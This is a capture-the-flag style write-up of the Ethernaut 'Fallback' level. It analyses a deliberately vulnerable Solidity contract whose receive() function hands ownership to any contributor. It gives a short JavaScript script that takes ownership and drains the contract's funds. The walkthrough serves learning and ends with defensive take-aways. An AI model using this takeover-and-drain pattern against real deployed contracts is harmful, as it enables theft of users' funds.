---
title: "01. Fallback"
date: 2022-10-11
link: "https://ethernaut.openzeppelin.com/level/0x8E500A9082D26dfA7CCdecf0391E0b93B9470266"
tags:
- writeups
---

## Goal
- take ownership
- reduce the balance to 0 by withdrawing all the funds

## Contract Analysis

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
```

We first notice that it uses an external util contract `SafeMath.sol`. With a simple search on the Internet [we find it](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) & as its name says, there's just a bunch of math functions such as: `mod`, `sub`, `div`, etc. Many contracts make use of this library which is designed to implement safe math operations such that it prevents overflows & other logic errors that would probably come if every developer had to implement their own version.

```solidity
contract Fallback {
	using SafeMath for uint256;
	mapping(address => uint) public contributions;
	address payable public owner;
	
	constructor() public {
		owner = msg.sender;
		contributions[msg.sender] = 1000 * (1 ether);
	}
	...
}
```

First it's [using](https://docs.soliditylang.org/en/develop/contracts.html#using-for) `SafeMath` [for](https://docs.soliditylang.org/en/develop/contracts.html#using-for) `uint256`: that is to prevent overflows when working with `uints` *(see above)*. Then we define `contributions` which is probably going to keep track of all the addresses that contribute *(i.e send ether)* to the contract & it also makes the address of the owner publicly available and [payable](https://docs.soliditylang.org/en/latest/types.html#address).

In the [constructor](https://medium.com/coinmonks/solidity-tutorial-all-about-constructors-46a10610336), which runs only once on deployment, we set the owner of the contract to the [special variable](https://docs.soliditylang.org/en/v0.8.11/units-and-global-variables.html?highlight=msg#special-variables-and-functions) `msg.sender`, that is the address of the one who first deployed the contract. Afterwards, we assign him a contribution of `1000ETH`

```solidity
modifier onlyOwner {
	require(
		msg.sender == owner,
		"caller is not the owner"
	);
	_;
}
```

Then we define a [modifier](https://medium.com/coinmonks/solidity-tutorial-all-about-modifiers-a86cf81c14cb) *(think of it as an attachment to functions that automatically checks a condition prior to executing the function)* which will check if the caller is the owner. This will be probably used in one of the functions, so let's take a look @ them:

```solidity
// Handle contributions from addresses
function contribute() public payable {
	// Cannot contribute unless the nr of
	// ether is greater than 0.001 ether
	// NOTE: msg.value is in wei
	require(msg.value < 0.001 ether);
	contributions[msg.sender] += msg.value;

	// Change the owner of the contract to the highest contributor
	if(contributions[msg.sender] > contributions[owner]) {
		owner = msg.sender;
	}
}

// Retrieves all the contributions for the address that calls 
function getContribution() public view returns (uint) {
	return contributions[msg.sender];
}

// Make a withdraw transaction only 
// if the owner is the sender
function withdraw() public onlyOwner {
	owner.transfer(address(this).balance);
}
```

Keeping in mind our [[#Goal]], the `contribute` function should peek our interest, since it modifies who owns the contract => can `withdraw` funds if we find a way to have the most contributions. Since `1000ETH` is a lot of money, we only have 2 options: 
- trick the contract in thinking that we have more 
- find another piece of code that changes the owner

Luckily for us we haven't yet looked at the last piece of our contract: the `receive()` function which also tinkers with who is the owner of the contract

```solidity
receive() external payable {
	require(msg.value > 0 && contributions[msg.sender] > 0);
	owner = msg.sender;
}
```

So we first check for the following:
- does the amount of wei *(i.e `msg.value`)* sent in the transaction is more than 0 
- is the sender already a contributor?

If those checks pass, we set the owner of the contract to the address of the sender. Notice that the `receive()` function is a [special one](https://docs.soliditylang.org/en/v0.8.12/contracts.html#receive-ether-function) that allows us to send Ether to the contract through `.send()` or `.transfer()`. [Fallback functions](https://docs.soliditylang.org/en/v0.8.12/contracts.html#fallback-function) are used to handle logic in 2 scenarios:
-   contract received ether and no data
-   contract received data but no function matched the function called

## Taking ownership & getting that ðŸ’¸
Now that we actually understand how the smart contracts operates, let's start interacting with it. First we need to become a contributor so let's send 1 [wei]() to it:

![[write-ups/images/Pasted image 20221011205320.png]]

We confirmed that we're now a contributor so let's try accessing the `receive()` fallback function by sending 1 Wei with `sendTransaction()` & check if we successfully changed ownership to ourselves

![[write-ups/images/Pasted image 20221011205601.png]]

ðŸ’£ it worked, now let's just `withdraw()` & enjoy our stolen funds ðŸ« 

![[write-ups/images/Pasted image 20221011205901.png]]

I thought it might be interesting to automate the process of exploiting for each challenge so here's some javascript to automatically solve your level:

```javascript
const targetAddr = '<PASTE_INSTANCE_ADDR_HERE>';
console.log(`Exploiting level 1 for target @ ${targetAddr}...`);

console.log('Becoming a contributor with 1 Wei...');
await contract.contribute({value: 1})

console.log('Changing ownership to ourselves...')
await contract.owner()
await contract.sendTransaction({value: 1})
await contract.owner()

console.log('Draining the contract...');
await contract.withdraw()
```


## Take-Aways
- If you implement a fallback function, keep it simple
- Use fallback functions 
	- toÂ **emit payment events to the transaction log**
	- to check simple conditional requirements
- Think twice when it comes to changing ownership of the contract & fund transfers


---

## Refs
- [Solidity Docs](https://docs.soliditylang.org/en/v0.8.17/)
- [[refs/+ Basics of Solidity and Smart Contracts]]

## See Also
- [[write-ups/Ethernaut Wargame]]
